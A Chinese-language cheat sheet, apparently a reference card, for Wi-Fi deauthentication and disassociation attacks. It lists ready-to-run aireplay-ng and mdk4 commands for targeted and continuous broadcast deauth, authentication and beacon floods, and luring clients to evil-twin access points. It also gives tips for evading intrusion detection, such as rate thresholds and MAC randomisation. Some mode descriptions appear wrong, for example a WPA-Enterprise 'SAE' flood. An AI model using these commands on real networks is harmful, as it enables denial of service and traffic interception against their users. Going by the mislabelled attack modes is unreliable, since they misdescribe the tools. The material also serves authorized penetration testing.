用途：对 802.11 无线网络实施去认证（deauth）与解除关联（disassoc）攻击。原理是以 AP 身份发送伪造的管理帧，使客户端断开连接。现代 PMF（802.11w）可对这类帧做加密认证，但多数消费级部署仍未强制启用。
主要能力与用法：
- 单客户端定向去认证，用于强制抓取握手包、将客户端推向邪恶双胞胎或测试重连行为： sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon --deauth 5 会发送 5 个去认证（共 10 帧，5 发往 AP、5 发往客户端），一般 3–10 足够；单次突发超过 30 属不必要的高噪声。
- 广播去认证（DoS，须谨慎）： sudo aireplay-ng --deauth 0 -a AA:BB:CC:DD:EE:FF wlan0mon（--deauth 0 表示持续） 多 AP 场景：sudo mdk4 wlan0mon d -B target_bssids.txt -c 1,6,11 仅在获得明确授权时使用，持续广播去认证是明显的 DoS 信号，通常数秒内即触发多数 WIPS。
PMF 处理：先用 airodump-ng 查看信标 RSN 中的 PMF 状态： sudo airodump-ng wlan0mon -c <ch> --bssid <BSSID> 状态为 Off 时经典去认证有效；Capable（可选）时对未启用 PMF 的客户端有效；Required 时经典去认证被忽略，需改用 action-frame 攻击，如： sudo mdk4 wlan0mon a -a <BSSID>（认证帧洪泛） sudo mdk4 wlan0mon m -t <BSSID>（CTS 帧攻击） sudo mdk4 wlan0mon w -t <BSSID>（WPA-Enterprise SAE 认证洪泛） 信标洪泛：sudo mdk4 wlan0mon b -f beacon_essids.txt -c 6 -s 100，可用于隐藏邪恶双胞胎、压测漫游逻辑或干扰 WIPS 面板。
速率与检测：3–10 个单客户端去认证常被误判为漫游或射频噪声；单源超过 30 次/秒会触发 WIPS 规则；持续广播去认证是明确 DoS；信标洪泛超过 50/秒会淹没 WIPS 面板。可在突发—暂停周期中随机化源 MAC。
适用场景：授权渗透测试中的握手包抓取、重连行为测试、DoS 验证（需授权）。 限制：需目标未强制 PMF；PMF Required 时经典方法失效，需针对具体芯片组测试 action-frame 路径；相关效果依赖环境，资料未提供具体价格、平台或成功率数据。